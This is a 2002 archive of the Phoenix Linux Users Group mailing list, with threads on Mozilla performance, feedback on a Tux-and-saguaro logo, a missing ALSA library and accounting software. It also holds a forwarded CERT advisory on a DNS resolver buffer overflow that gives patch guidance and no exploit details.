http://www.zen2now.com/tux/double_g.jpg slr From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:04:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Fri, 28 Jun 2002 17:04:09 -0700 (PDT) Subject: Mozilla troubles Message-ID: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Hey all, I think this was mentioned before but I could not find it searching through the archives. I was just curious how Mozilla is working out for you all? When I was using Gnome 1.4 with Mozilla it was really speedy and I had no problems. Lately I just tried using Mozilla with window maker and it is pretty slow. It takes awhile to open new windows and such. Anyone experiencing similar problems? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:05:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Fri, 28 Jun 2002 17:05:10 -0700 (PDT) Subject: New Version of PLUG Logo In-Reply-To: <200206281658.06007.zen2now@qwest.net> Message-ID: <20020629000510.44073.qmail@web13402.mail.yahoo.com> --- slr wrote: > check it out. dual saguaro's and non-italic fonts > http://www.zen2now.com/tux/double_g.jpg > > slr Kick arse :). __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:56:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: 28 Jun 2002 17:56:53 -0600 Subject: Security Exploit in DNS Servers (fwd) In-Reply-To: References: Message-ID: <1025308614.31040.9.camel@dhcp159.area31.viawest.net> Not really an exploit against DNS _servers_, just against clients that use the vulnerable resolver libraries. Seems you would have to query malicious server for anything bad to happen. -dallas On Fri, 2002-06-28 at 17:37, Jay wrote: > > FYI - Another security notice that I just sent to AZIPA. This one is about > DNS resolver libraries (possible remote exploit) - thus, it seemed > appropriate for PLUG too. :) > > -- > ~Jay > > > > ---------- Forwarded message ---------- > Date: Fri, 28 Jun 2002 16:36:07 -0700 (MST) > From: Jay > To: AZIPA > Subject: Security Exploit in DNS Servers > > > Here's another network security threat to finish everyone's week with. :) > This one is a possible remote vulnerability in some of the libraries > associated with many DNS servers (including the most popular one, BIND). > As usual, you may be vulnerable to this exploit and not even know it - > contact your vendor for a patch. The official CERT advisory is below: > > ~Jay > -- > > == Jay Jacobson > == Edgeos, Inc. - Security is Critical - http://www.edgeos.com > == We help you to easily get control of your network's security. > == ...or some hacker can just take control instead. You decide. > > > ---------- Forwarded message ---------- > Date: Fri, 28 Jun 2002 17:17:10 -0400 (EDT) > From: CERT Advisory > To: cert-advisory@cert.org > Subject: CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver > Libraries > > > > -----pgpenvelope processed message > > CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver Libraries > > Original release date: June 28, 2002 > Last revised: -- > Source: CERT/CC > > A complete revision history can be found at the end of this file. > > Systems Affected > > Applications using vulnerable implementations of the Domain Name > System (DNS) resolver libraries, which include, but are not limited > to: > > * Internet Software Consortium (ISC) Berkeley Internet Name Domain > (BIND) DNS resolver library (libbind) > > * Berkeley Software Distribution (BSD) DNS resolver library (libc) > > > Overview > > A buffer overflow vulnerability exists in multiple implementations of > DNS resolver libraries. Operating systems and applications that > utilize vulnerable DNS resolver libraries may be affected. A remote > attacker who is able to send malicious DNS responses could potentially > exploit this vulnerability to execute arbitrary code or cause a denial > of service on a vulnerable system. > > > I. Description > > The DNS protocol provides name, address, and other information about > Internet Protocol (IP) networks and devices. To access DNS > information, a network application uses the resolver to perform DNS > queries on its behalf. Resolver functionality is commonly implemented > in libraries that are included with operating systems. > > Multiple implementations of DNS resolver libraries contain a remotely > exploitable buffer overflow vulnerability in the way the resolver > handles DNS responses. Both BSD (libc) and ISC (libbind) resolver > libraries share a common code base and are vulnerable to this problem; > any DNS resolver implementation that derives code from either of these > libraries may also be vulnerable. Network applications that makes use > of vulnerable resolver libraries are likely to be affected, therefore > this problem is not limited to DNS or BIND servers. > > Vulnerability Note VU#803539 lists the vendors that have been > contacted about this vulnerability: > > http://www.kb.cert.org/vuls/id/803539 > > This vulnerability is not the same as the Sendmail issue discussed in > Vulnerability Note VU#814627: > > http://www.kb.cert.org/vuls/id/814627 > > > II. Impact > > An attacker who is able to send malicious DNS responses could remotely > exploit this vulnerability to execute arbitrary code or cause a denial > of service on vulnerable systems. Any code executed by the attacker > would run with the privileges of the process that calls the vulnerable > resolver function. > > Note that an attacker could cause one of the victim's network services > to make a DNS request to a DNS server under the attacker's control. > This would permit the attacker to remotely exploit this vulnerability. > > > III. Solution > > Upgrade to a corrected version of the DNS resolver libraries > > Note that DNS resolver libraries can be used by multiple > applications on most systems. It may be necessary to upgrade or > apply multiple patches and then recompile statically linked > applications. > > Applications that are statically linked must be recompiled using > patched resolver libraries. Applications that are dynamically > linked do not need to be recompiled; however, running services need > to be restarted in order to use the patched resolver libraries. > > System administrators should consider the following process when > addressing this issue: > > 1. Patch or obtain updated resolver libraries. > > 2. Restart any dynamically linked services that make use of the > resolver libraries. > > 3. Recompile any statically linked applications using the patched or > updated resolver libraries. > > Use a local caching DNS server > > Using a local caching DNS server that reconstructs DNS responses > will prevent malicious responses from reaching systems using > vulnerable DNS resolver libraries. For example, BIND 9 reconstructs > responses in this way, with the exception of forwarded dynamic DNS > update messages. Note that BIND 8 does not reconstruct all > responses; therefore this workaround may not be effective when > using BIND 8 as a caching DNS server. > > > Appendix A. - Vendor Information > > This appendix contains information provided by vendors for this > advisory. When vendors report new information to the CERT/CC, we > update this section and note the changes in our revision history. If a > particular vendor is not listed below, we have not received their > comments. > > Compaq > > SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of > Hewlett-Packard Company and Hewlett-Packard Company HP Services > Software Security Response Team > > x-ref:SSRT2270 > > At the time of writing this document, Compaq is currently > investigating the potential impact to Compaq's released Operating > System software products. > > As further information becomes available Compaq will provide notice > of the completion/availibility of any necessary patches through > standard product and security bulletin announcements and be > available from your normal HP Services support channel. > > Cray, Inc. > > The DNS resolver code supplied by Cray, Inc. in Unicos and > Unicos/mk is vulnerable. SPR 722619 has been opened to track this > problem. > > FreeBSD > > See > ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:28. > resolv.asc > > GNU adns > > adns is not derived from BIND libresolv. Furthermore, it does not > support a gethostbyname-like interface (which is where the bug in > BIND libresolv is). Therefore, it is not vulnerable. > > For more information on GNU adns, see: > > http://www.gnu.org/software/adns/ > http://www.chiark.greenend.org.uk/~ian/adns/ > > Internet Software Consortium > > All versions of BIND 4 from 4.8.3 prior to BIND 4.9.9 are > vulnerable. > All versions of BIND 8 prior to BIND 8.2.6 are vulnerable. > All versions of BIND 8.3.x prior to BIND 8.3.3 are vulnerable. > BIND versions BIND 9.2.0 and BIND 9.2.1 are vulnerable. > BIND version 4.8 does not appear to be vulnerable. > BIND versions BIND 9.0.x and BIND 9.1.x are not vulnerable. > 'named' itself is not vulnerable. > Updated releases can be found at: > > ftp://ftp.isc.org/isc/bind/src/4.9.9/ > ftp://ftp.isc.org/isc/bind/src/8.2.6/ > ftp://ftp.isc.org/isc/bind/src/8.3.3/ > ftp://ftp.isc.org/isc/bind/contrib/ntbind-8.3.3/ > > BIND 9 contains a copy of the BIND 8.3.x resolver library > (lib/bind). This will be updated with the next BIND 9 releases > (9.2.2/9.3.0) in the meantime please use the original in BIND > 8.3.3. > > In addition the BIND 9 'named' can be used to prevent malformed > answers reaching vulnerable clients. > > Vendors wishing additional patches should contact > bind-bugs@isc.org. > Query about BIND 4 and BIND 8 should be addressed to > bind-bugs@isc.org. > Query about BIND 9 should be addressed to bind9-bugs@isc.org. > > Microsoft > > Microsoft products do not use the libraries in question. Microsoft > products are not affected by this issue. > > OpenBSD > > [T]he resolver libraries in question got copied far and wide. They > used to have a hell of a lot of bugs in them. > > Now might be a good time for people to compare each others' > libraries to each other. I would urge them to compare against the > OpenBSD ones, where we've spent a lot of time on, but of course we > still missed this. But perhaps people can then share some around. > Not everyone is going to move to the bind9 stuff, since it is very > different. > > NetBSD > > See > ftp://ftp.NetBSD.ORG/pub/NetBSD/security/advisories/NetBSD-SA2002-0 > 06.txt.asc > > Network Appliance > > Some NetApp systems are vulnerable to this problem. Check NOW > (http://now.netapp.com) for information on whether your system is > vulnerable and the appropriate patch release that you should > install. > > SGI > > SGI is looking into the matter. > > > _________________________________________________________________ > > The CERT Coordination Center thanks Joost Pol of PINE-CERT and the > FreeBSD Project for their analysis of these vulnerabilities. > _________________________________________________________________ > > Feedback can be directed to the authors: Art Manion and Jason A. > Rafail > _________________________________________________________________ > > > Appendix B. - References > > 1. http://www.pine.nl/advisories/pine-cert-20020601.asc > > ______________________________________________________________________ > > This document is available from: > http://www.cert.org/advisories/CA-2002-19.html > ______________________________________________________________________ > > > CERT/CC Contact Information > > Email: cert@cert.org > Phone: +1 412-268-7090 (24-hour hotline) > Fax: +1 412-268-6989 > Postal address: > CERT Coordination Center > Software Engineering Institute > Carnegie Mellon University > Pittsburgh PA 15213-3890 > U.S.A. > > CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / > EDT(GMT-4) Monday through Friday; they are on call for emergencies > during other hours, on U.S. holidays, and on weekends. > > Using encryption > > We strongly urge you to encrypt sensitive information sent by email. > Our public PGP key is available from > http://www.cert.org/CERT_PGP.key > > If you prefer to use DES, please call the CERT hotline for more > information. > > Getting security information > > CERT publications and other security information are available from > our web site > > http://www.cert.org/ > > To subscribe to the CERT mailing list for advisories and bulletins, > send email to majordomo@cert.org. Please include in the body of your > message > > subscribe cert-advisory > > * "CERT" and "CERT Coordination Center" are registered in the U.S. > Patent and Trademark Office. > ______________________________________________________________________ > > NO WARRANTY > Any material furnished by Carnegie Mellon University and the Software > Engineering Institute is furnished on an "as is" basis. Carnegie > Mellon University makes no warranties of any kind, either expressed or > implied as to any matter including, but not limited to, warranty of > fitness for a particular purpose or merchantability, exclusivity or > results obtained from use of the material. Carnegie Mellon University > does not make any warranty of any kind with respect to freedom from > patent, trademark, or copyright infringement. > _________________________________________________________________ > > Conditions for use, disclaimers, and sponsorship information > > Copyright 2002 Carnegie Mellon University. > > > Revision History > > June 28, 2002: Initial release > > > -----pgpenvelope information > Version: PGP 6.5.8 > > gpg: Signature made Fri Jun 28 14:12:00 2002 MST using RSA key ID D02361C9 > gpg: Can't check signature: public key not found > > pgpenvelope_decrypt: message processed at Fri Jun 28 16:27:54 2002 > > -----end pgpenvelope information > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:23:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 28 Jun 2002 17:23:00 -0700 Subject: Mozilla troubles In-Reply-To: <20020629000409.6884.qmail@web13408.mail.yahoo.com> References: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Message-ID: <1025310180.6930.6.camel@bryceco1> Mozilla 1.0 in KDE 2.2.2 and Enlightenment DR16 work just fine for me. Nice and quick as well as pleasant. On Fri, 2002-06-28 at 17:04, bob smith wrote: > Hey all, > I think this was mentioned before but I could not find > it searching through the archives. I was just curious > how Mozilla is working out for you all? When I was > using Gnome 1.4 with Mozilla it was really speedy and > I had no problems. Lately I just tried using Mozilla > with window maker and it is pretty slow. It takes > awhile to open new windows and such. Anyone > experiencing similar problems? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:26:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 28 Jun 2002 17:26:05 -0700 Subject: New Version of PLUG Logo In-Reply-To: <20020629000510.44073.qmail@web13402.mail.yahoo.com> References: <20020629000510.44073.qmail@web13402.mail.yahoo.com> Message-ID: <1025310365.6930.10.camel@bryceco1> I don't know. Personally, I liked the VERY first one best. I know it's different from the original but it was nice. The tall cacti take one's attention away from the penguin TOO much IMHO. On Fri, 2002-06-28 at 17:05, bob smith wrote: > > --- slr wrote: > > check it out. dual saguaro's and non-italic fonts > > http://www.zen2now.com/tux/double_g.jpg > > > > slr > > Kick arse :). > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:34:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Fri, 28 Jun 2002 17:34:05 -0700 (PDT) Subject: Mozilla troubles In-Reply-To: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Message-ID: <20020629003405.89685.qmail@web13403.mail.yahoo.com> --- bob smith wrote: > Hey all, > I think this was mentioned before but I could not > find > it searching through the archives. I was just > curious > how Mozilla is working out for you all? When I was > using Gnome 1.4 with Mozilla it was really speedy > and > I had no problems. Lately I just tried using Mozilla > with window maker and it is pretty slow. It takes > awhile to open new windows and such. Anyone > experiencing similar problems? Hmm nevermind, seems the problem is with windowmaker as it runs fine (almost too fast :), thanks BoBG) using fluxbox __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:32:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 20:32:59 -0400 Subject: New Version of PLUG Logo Message-ID: The right cactus is WAY to tall. Make it just a little taller than the left one. It will give more balance and Tux can be relatively a little bigger. The way it is now, my eye is drawn to that big saguaro when I should primarily see the penguin. I'm up to $0.06 now. All my opinion, of course. Alan On Fri, 28 Jun 2002 16:58:06 -0700 slr wrote: check it out. dual saguaro's and non-italic fonts http://www.zen2now.com/tux/double_g.jpg slr ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:00:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 18:00:48 -0700 Subject: PLUG Logo Update! In-Reply-To: <200206281547.03743.zen2now@qwest.net> References: <007001c21ef3$3bf344c0$0601010a@tickticker.com> <200206281448.27786.zen2now@qwest.net> <007001c21ef3$3bf344c0$0601010a@tickticker.com> Message-ID: <5.1.0.14.0.20020628175847.0255d460@localhost> Details! Geez, the saguaro is great! I like that one and it's not too big. It's just right. And by the way, I don't really mind the two different cacti. I kinda like that there is diversity in that logo, just like the group has. Wide and broad range of items. The white lines, though, look just like the stitching on a tux, which is really kinda cool considering that Tux, tuxedo........well, anyway, I like it just the way that it is. Keep it. Kimi Adams Unity Wave At 6/28/02, you wrote: >hehe, its a Native American Saguaro. :~D > >slr > > >On Friday 28 June 2002 03:29 pm, tickticker wrote: > > I hate to point this out, but the saguaro is very clean shaven, heck,i've > > never been able to shave that close. > > > > anthony > > ----- Original Message ----- > > From: "slr" > > To: ; > > Sent: Friday, June 28, 2002 2:48 PM > > Subject: Re: PLUG Logo Update! > > > > > ok, seeing that it is kind of a split. some like the prickly pears and > > > > some > > > > > like saguaros. how about we have 2, one with prickly's and one with > > > > saguaros. > > > > > those who like prickly's will be happy, and those who want saguaro's will > > > > be > > > > > happy as well. > > > > > > as for the White Outline on Tux's arms, is it really that distracting > > > from > > > > the > > > > > overall image? > > > > > > as for the Italic Fonts, is this an overall deciding factor for the > > > group? > > > > > > slr > > > > > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > > > My $0.02. > > > > > > > > It is lopsided with the BIG saguaro on the right and the little cactus > > > > on > > > > > > the left. I like the balance of the original logo, with saguaros not > > > > too > > > > > > big and on both sides. It would match the banner we already have. > > > > > > > > Other than that, way cool work! Thanks for doing it! > > > > > > > > Alan > > > > > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > > > > > this is the newest version, also the master will be posted soon. what > > > > do you guys think about Tux in a Spawn Costume? > > > > > > > > http://www.zen2now.com/tux/tux1.jpg > > > > > > > > need some good feed back, as i want to get going with the screen > > > > printing > > > > > > slr > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:28:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 28 Jun 2002 18:28:57 -0700 (MST) Subject: New Version of PLUG Logo In-Reply-To: Message-ID: Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > The right cactus is WAY to tall. Make it just a little taller than the left > one. It will give more balance and Tux can be relatively a little bigger. > The way it is now, my eye is drawn to that big saguaro when I should primarily > see the penguin. And I wonder who's ever seen a saguaro as short as the one on the left :). ciao, der.hans -- # https://www.LuftHans.com/ # A t-shirt a day keeps the noose (tie) away. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:03:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 18:03:17 -0700 Subject: New Version of PLUG Logo In-Reply-To: <200206281658.06007.zen2now@qwest.net> Message-ID: <5.1.0.14.0.20020628180226.00ac4080@localhost> Well, now you have done it. You have out worked yourself. Absolutely great! Keep this one. Don't change a thing. Make it happen and we will come! : ) Kimi Adams Unity Wave At 6/28/02, you wrote: >check it out. dual saguaro's and non-italic fonts >http://www.zen2now.com/tux/double_g.jpg > >slr > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:36:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 18:36:44 -0700 Subject: PLUG Logo Update! References: Message-ID: <3D1D0F2C.6EA3F9F4@leml.asu.edu> > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do you > guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing The only thing I think I would add is a couple sweat beads running down his head ;-) But seriously. Depending on what techniques you will be using for the silk screaning you are looking at what looks to be a 6 color press. If the grey "shadow" on tux's belly is done using a tranlucent or transparent grey, then the grey belly shadow, greyish highlights, and possibly the darker edges on the yellow can be done with an overprint using this collor. Another way to do it is to half-tone these areas of the image and over print with black. The real reason you want to do this is to reduce the number of colors used in the image. Every time you have to print another color you have to clean up the old ink, switch out the screen (or move to a different area), register, and start over. Every new color will cost you a bit more -- assuming you are using standard silk screen technology ad not sublimation transfer inks which are a whole nother kettle of fish, but still the more colors the more it will cost. Along those lines, make sure the dark green in "Penguins in the Desert" is he same as the dark green in the cacti... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:46:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 18:46:38 -0700 Subject: New Version of PLUG Logo References: <20020629000510.44073.qmail@web13402.mail.yahoo.com> Message-ID: <3D1D117E.243FCA4D@leml.asu.edu> bob smith wrote: > > --- slr wrote: > > check it out. dual saguaro's and non-italic fonts > > http://www.zen2now.com/tux/double_g.jpg > > > > slr > > Kick arse :). actually... we need a "Tux the Penguin Kicks Micro$ofts Arse" T-shirt... hmmm... Tux in a stetson, kicking a donkey's arse with Bill's head on the donkey ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:43:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 18:43:26 -0700 Subject: New Version of PLUG Logo References: Message-ID: <3D1D10BE.426F56E@leml.asu.edu> "der.hans" wrote: > > Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > > > The right cactus is WAY to tall. Make it just a little taller than the left > > one. It will give more balance and Tux can be relatively a little bigger. > > The way it is now, my eye is drawn to that big saguaro when I should primarily > > see the penguin. > > And I wonder who's ever seen a saguaro as short as the one on the left :). ahhh.... it's just a wood'l baby saguaro... cuddawe wadawe CCCCUUUUTTTTEEE ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 02:16:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mario Hines) Date: Fri, 28 Jun 2002 19:16:01 -0700 (PDT) Subject: libasound.so.1??? Message-ID: <20020629021601.20740.qmail@web20610.mail.yahoo.com> I was trying to load Armagetron on my Linux system and it came up with this requirement. "libasound.so.1". Does ANYONE know where this RPM/file can be found or what RPM it comes with? Thanks for the help. -Mario __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 02:42:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Fri, 28 Jun 2002 19:42:30 -0700 Subject: New Version of PLUG Logo In-Reply-To: <3D1D10BE.426F56E@leml.asu.edu> References: <3D1D10BE.426F56E@leml.asu.edu> Message-ID: <200206281942.30536.alandd@mindspring.com> Of course, there is no way that is a baby cactus because it has arms. Saguaro don't get arms until they are around 50 years old (if I remember correctly). Just think of it as being in the distant background. Whatever is the final design will look just great, I am sure. Alan On Friday 28 June 2002 06:43 pm, John (EBo) David wrote: > "der.hans" wrote: > > Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > > > The right cactus is WAY to tall. Make it just a little taller than the > > > left one. It will give more balance and Tux can be relatively a little > > > bigger. The way it is now, my eye is drawn to that big saguaro when I > > > should primarily see the penguin. > > > > And I wonder who's ever seen a saguaro as short as the one on the left > > :). > > ahhh.... it's just a wood'l baby saguaro... cuddawe wadawe > CCCCUUUUTTTTEEE ;-) > > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 02:52:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 28 Jun 2002 19:52:41 -0700 Subject: libasound.so.1??? References: <20020629021601.20740.qmail@web20610.mail.yahoo.com> Message-ID: <3D1D20F9.7057F8B7@qwest.net> looks like it is part of ALSA. For mandrake the rpm is http://www.rpmfind.net//linux/RPM/mandrake/8.2/i586/Mandrake/RPMS/libalsa1-0.5.10b-1mdk.i586.html Don't know which one in RH provides it since I don't have my 7.3 cds here at home. bash script to find something in an rpm: for p in *.rpm do echo $p rpm -qlp $p | grep libasound done > I was trying to load Armagetron on my Linux > system and it came up with this requirement. > "libasound.so.1". Does ANYONE know where this > RPM/file can be found or what RPM it comes with? > Thanks for the help. > > -Mario > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 03:01:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 20:01:08 -0700 Subject: New Version of PLUG Logo References: <3D1D10BE.426F56E@leml.asu.edu> <200206281942.30536.alandd@mindspring.com> Message-ID: <3D1D22F4.BD1D36EC@leml.asu.edu> Alan Dayley wrote: > > Of course, there is no way that is a baby cactus because it has arms. Saguaro > don't get arms until they are around 50 years old (if I remember correctly). > Just think of it as being in the distant background. Doh... I should have remembered that, I was just playing... Besides, have you hugged a saguaro lately 8-0 Talk about a PAIN!!! ;-) > Whatever is the final design will look just great, I am sure. yes. It is wonderful, and whatever it comes out to be I am sure it will be beautiful! EBo -- > On Friday 28 June 2002 06:43 pm, John (EBo) David wrote: > > "der.hans" wrote: > > > Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > > > > The right cactus is WAY to tall. Make it just a little taller than the > > > > left one. It will give more balance and Tux can be relatively a little > > > > bigger. The way it is now, my eye is drawn to that big saguaro when I > > > > should primarily see the penguin. > > > > > > And I wonder who's ever seen a saguaro as short as the one on the left > > > :). > > > > ahhh.... it's just a wood'l baby saguaro... cuddawe wadawe > > CCCCUUUUTTTTEEE ;-) From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 03:28:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Fri, 28 Jun 2002 20:28:29 -0700 Subject: New Version of PLUG Logo In-Reply-To: Message-ID: <000201c21f1d$0a824f60$6500000a@janus> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Or a penguin as big as tux... "My advice to you is get married: if you find a good wife you'll be happy; if not, you'll become a philosopher." -- Socrates matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com | http://www.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of der.hans Sent: Friday, June 28, 2002 6:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: New Version of PLUG Logo Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > The right cactus is WAY to tall. Make it just a little taller than > the left one. It will give more balance and Tux can be relatively > a little bigger. The way it is now, my eye is drawn to that big > saguaro when I should primarily see the penguin. And I wonder who's ever seen a saguaro as short as the one on the left :). ciao, der.hans - -- # https://www.LuftHans.com/ # A t-shirt a day keeps the noose (tie) away. - der.hans ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGP 7.0.4 iQA/AwUBPR0pXY4p6zlv2o83EQJIUgCgzFck0GyiTSD4ZAGTwGSFDb3MAYIAn0SB tiUsUERiEn1vlpXkCjhYZgfb =ZlRs -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:24:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Rogers) Date: Fri, 28 Jun 2002 12:24:14 -0700 Subject: Accounting Packages References: <4A8DFDA6B395D411A11B00508BEE23FE76B548@mail.int.fh.org> Message-ID: <3D1CB7DE.4070706@rogersdirect.com> Gnucash is not an accounting package that does inventory, payroll, job cost, and 90% of the other features that Quickbooks has. Tom Achtenberg wrote: >Look at Gnucash > >-----Original Message----- >From: Don Calfa [mailto:tvat3000@netscape.net] >Sent: Friday, June 28, 2002 10:07 AM >To: PLUG-discuss@lists.plug.phoenix.az.us >Subject: Accounting Packages > > >Are there any accounting packages like Peachtree or 